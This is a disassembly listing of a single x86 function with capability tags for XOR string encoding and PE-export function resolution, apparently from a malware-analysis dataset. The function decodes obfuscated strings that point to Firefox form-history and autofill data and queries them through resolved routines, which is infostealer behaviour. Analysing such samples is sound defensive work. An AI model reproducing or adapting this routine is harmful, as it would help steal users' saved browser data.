Function at 0x418c9d
Capabilities:
Encode data using xor
Resolve function by parsing pe exports

Disassembly:
sub esp, 0x110
mov al, byte [0x42ba35]
push ebx
push esi
or al, 0xb4
mov dword [esp + 0x74], ecx
push edi
mov edi, edx
mov byte [0x42b9fe], al
call fcn.00420376
mov bl, byte [0x42b9fe]
mov esi, eax
add bl, 0x45
mov byte [0x42ba35], bl
test esi, esi
je 0x41925d
mov dword [esp + 0xc], 0xebc4db92
xor ecx, ecx
mov dword [esp + 0x10], 0xdac5d8d1
mov dword [esp + 0x14], 0xc3c4dedf
mov dword [esp + 0x18], 0x99cec5d8
mov dword [esp + 0x1c], 0xdedbc6c4
mov word [esp + 0x20], 0xd2c3
mov al, byte [esp + ecx + 0xc]
xor al, 0xb7
movzx eax, al
mov word [esp + ecx*2 + 0xec], ax
inc ecx
cmp ecx, 0x16
jl 0x418d07
xor eax, eax
or bl, 0x15
push ebp
mov word [esp + 0x11c], ax
lea eax, [esp + 0xf0]
mov byte [0x42b9fe], bl
or bl, 0x61
push edi
push eax
mov byte [0x42ba35], bl
call fcn.00422d73
pop ecx
pop ecx
movzx ecx, byte [0x42ba35]
mov ebp, eax
imul ecx, ecx, 0x8b
mov byte [0x42ba35], cl
mov cl, byte [0x42b9fe]
xor cl, 0xd4
mov byte [0x42b9fe], cl
test ebp, ebp
je 0x41925c
xor cl, 0x50
add cl, 0x33
xor cl, 0x8e
mov byte [0x42b9fe], cl
mov ecx, ebp
call fcn.00422e77
mov cl, byte [0x42b9fe]
mov ebx, eax
add cl, 0x8a
mov byte [0x42b9fe], cl
test ebx, ebx
je 0x41924c
mov cl, byte [0x42ba35]
xor edx, edx
and cl, 0x6e
sub cl, 0x6c
mov al, cl
and cl, 0x6d
add cl, 6
xor al, 0xf1
mov byte [0x42b9fe], cl
mov ecx, ebx
mov byte [0x42ba35], al
call fcn.004235be
mov cl, byte [0x42ba35]
mov edi, eax
sub cl, 0x79
mov dword [esp + 0x74], edi
mov byte [0x42b9fe], cl
test edi, edi
je 0x41921a
add cl, 5
lea eax, [esp + 0x78]
and cl, 0x46
push 0
sub cl, 0x26
push 1
mov byte [0x42ba35], cl
xor cl, 0x60
push eax
push edi
mov byte [0x42b9fe], cl
call dword [esi + 4]
add esp, 0x10
test eax, eax
jne 0x4191d3
xor edx, edx
mov dword [esp + 0x10], 0xccd3ccda
mov dword [esp + 0x14], 0xeda7dbca
mov ecx, edx
mov dword [esp + 0x18], 0xebf3ecf0
mov dword [esp + 0x1c], 0xecf4e8f5
mov dword [esp + 0x20], 0xe8fda7b3
mov dword [esp + 0x24], 0xa7ecfcf3
mov dword [esp + 0x28], 0xd4d6d9cd
mov dword [esp + 0x2c], 0x1f6f4a7
mov dword [esp + 0x30], 0xf9f6ede6
mov dword [esp + 0x34], 0xfaf0eff4
mov dword [esp + 0x38], 0xf9f6fb
mov al, byte [esp + ecx + 0x10]
add al, 0x79
mov byte [esp + ecx + 0xc0], al
inc ecx
cmp ecx, 0x2c
jl 0x418e79
movzx eax, byte [0x42b9fe]
imul eax, eax, 7
push edx
mov byte [esp + 0xf0], dl
and al, 0x33
mov byte [0x42b9fe], al
sub al, 0x4b
mov byte [0x42ba35], al
lea eax, [esp + 0x40]
push eax
push 0xffffffffffffffff
lea eax, [esp + 0xcc]
push eax
push dword [esp + 0x88]
call dword [esi + 8]
add esp, 0x14
test eax, eax
jne 0x419267
mov cl, byte [0x42ba35]
lea edi, [esp + 0x68]
and cl, 0x76
push dword [esp + 0x3c]
lea eax, [ecx + 0x49]
and cl, 0xa2
mov byte [0x42b9fe], al
xor eax, eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
movzx eax, cl
mov cl, 0xa4
imul eax, eax, 0x44
sub cl, al
mov byte [0x42ba35], cl
call dword [esi + 0xc]
pop ecx
cmp eax, 0x64
jne 0x4190a8
mov dword [esp + 0x40], 0xeef6ead7
mov word [esp + 0x44], 0xa9c3
mov dword [esp + 0x48], 0xdcebb7b0
mov dword [esp + 0x4c], 0x87d8c8d1
mov byte [esp + 0x50], 0x9d
xor edx, edx
mov ecx, edx
mov al, byte [esp + ecx + 0x40]
add al, 0x77
mov byte [esp + ecx + 0x80], al
inc ecx
cmp ecx, 6
jl 0x418f36
mov byte [esp + 0x86], dl
mov ecx, edx
mov al, byte [esp + ecx + 0x48]
xor al, 0xbd
mov byte [esp + ecx + 0x88], al
inc ecx
cmp ecx, 9
jl 0x418f52
mov byte [esp + 0x91], dl
mov ecx, edx
mov dword [esp + 0x54], 0xc9c99699
mov dword [esp + 0x58], 0xc9c9c9c9
mov dword [esp + 0x5c], 0xc9c9c9c9
mov dword [esp + 0x60], 0xc9c9c9c9
mov word [esp + 0x64], 0x99c9
mov byte [esp + 0x66], 0x96
mov al, byte [esp + ecx + 0x54]
add al, 0x74
mov byte [esp + ecx + 0x10], al
inc ecx
cmp ecx, 0x13
jl 0x418f9a
mov cl, byte [0x42ba35]
add cl, 0x4a
mov byte [esp + 0x23], dl
push 0xffffffffffffffff
lea edx, [esp + 0x84]
lea eax, [ecx + 0x75]
xor cl, 0x8d
mov byte [0x42b9fe], cl
lea ecx, [esp + 0x6c]
mov byte [0x42ba35], al
call fcn.004234c5
mov al, byte [0x42ba35]
push 0
push dword [esp + 0x44]
and al, 0xd5
mov byte [0x42b9fe], al
call dword [esi + 0x20]
add esp, 0xc
push eax
push 0
push dword [esp + 0x44]
call dword [esi + 0x10]
pop ecx
pop ecx
mov edx, eax
lea ecx, [esp + 0x6c]
call fcn.004234c5
mov al, byte [0x42b9fe]
lea edx, [esp + 0x8c]
mov cl, al
and al, 0x9e
and cl, 0x1a
mov byte [0x42b9fe], al
or cl, 0x45
mov byte [0x42ba35], cl
lea ecx, [esp + 0x6c]
push 0xffffffffffffffff
call fcn.004234c5
movzx eax, byte [0x42b9fe]
imul eax, eax, 0xf6
push 1
push dword [esp + 0x48]
mov byte [0x42b9fe], al
or al, 0xcd
mov byte [0x42ba35], al
call dword [esi + 0x20]
add esp, 0x10
push eax
push 1
push dword [esp + 0x44]
call dword [esi + 0x10]
pop ecx
pop ecx
mov edx, eax
lea ecx, [esp + 0x6c]
call fcn.004234c5
mov al, byte [0x42b9fe]
lea edx, [esp + 0x14]
xor byte [0x42ba35], 0xf2
lea ecx, [esp + 0x6c]
and al, 0xcc
xor al, 0x27
push 0xffffffffffffffff
mov byte [0x42b9fe], al
call fcn.004234c5
push dword [esp + 0x44]
call dword [esi + 0xc]
add esp, 0xc
cmp eax, 0x64
je 0x418f32
mov dl, byte [0x42b9fe]
and dl, 0xe3
mov cl, dl
and cl, 0x86
cmp dword [esp + 0x68], 0
je 0x4191b5
mov dword [esp + 0x10], 0x1e050430
xor ecx, ecx
mov dword [esp + 0x14], 0x1d1d1817
mov dword [esp + 0x18], 0x1d545e02
mov dword [esp + 0x1c], 0x1d542e02
mov dword [esp + 0x20], 0x9055f02
mov byte [esp + 0x24], 5
mov al, byte [esp + ecx + 0x10]
xor al, 0x71
movzx eax, al
mov word [esp + ecx*2 + 0x94], ax
inc ecx
cmp ecx, 0x15
jl 0x4190f0
push dword [esp + 0x124]
xor eax, eax
mov byte [0x42b9fe], 0x4c
push dword [esp + 0x80]
mov word [esp + 0xc6], ax
add dl, 8
lea eax, [esp + 0x9c]
mov byte [0x42ba35], dl
push eax
call fcn.00422d73
mov edi, eax
add esp, 0xc
test edi, edi
je 0x41918a
mov cl, byte [0x42b9fe]
mov edx, dword [esp + 0x70]
or cl, 0xc9
sub cl, 0x5d
mov byte [0x42ba35], 0
mov byte [0x42b9fe], cl
mov ecx, dword [esp + 0x68]
push edi
call fcn.0041eb29
movzx eax, byte [0x42ba35]
xor byte [0x42b9fe], 0x69
imul eax, eax, 0x72
push edi
mov byte [0x42ba35], al
call fcn.004056f0
pop ecx
pop ecx
movzx eax, byte [0x42b9fe]
push dword [esp + 0x68]
imul eax, eax, 0x9c
mov byte [0x42b9fe], al
and al, 0xeb
or al, 0xab
mov byte [0x42ba35], al
call fcn.004056f0
pop ecx
mov cl, byte [0x42b9fe]
mov edi, dword [esp + 0x74]
push dword [esp + 0x3c]
mov al, cl
and cl, 0x6a
or al, 0xbf
mov byte [0x42b9fe], cl
mov byte [0x42ba35], al
call dword [esi + 0x18]
pop ecx
movzx eax, byte [0x42ba35]
push dword [esp + 0x78]
imul eax, eax, 0x9d
mov byte [0x42b9fe], al
sub al, 0x35
mov byte [0x42ba35], al
call dword [esi + 0x1c]
mov al, byte [0x42b9fe]
sub al, 0x80
movzx eax, al
imul eax, eax, 0x6c
push edi
mov byte [0x42ba35], al
xor al, 0xf9
mov byte [0x42b9fe], al
call fcn.004056f0
pop ecx
pop ecx
mov cl, byte [0x42b9fe]
xor cl, 0x92
mov edx, 0x62d87b
mov byte [0x42ba35], cl
xor ecx, ecx
push ebx
inc ecx
call fcn.004155a6
call eax
mov al, byte [0x42ba35]
add al, 0x5e
push ebx
mov byte [0x42b9fe], al
call fcn.004056f0
pop ecx
mov cl, byte [0x42b9fe]
add cl, 0x31
push ebp
mov byte [0x42ba35], cl
call fcn.004056f0
pop ecx
pop ebp
pop edi
pop esi
pop ebx
add esp, 0x110
ret
mov cl, byte [0x42b9fe]
jmp 0x4191b9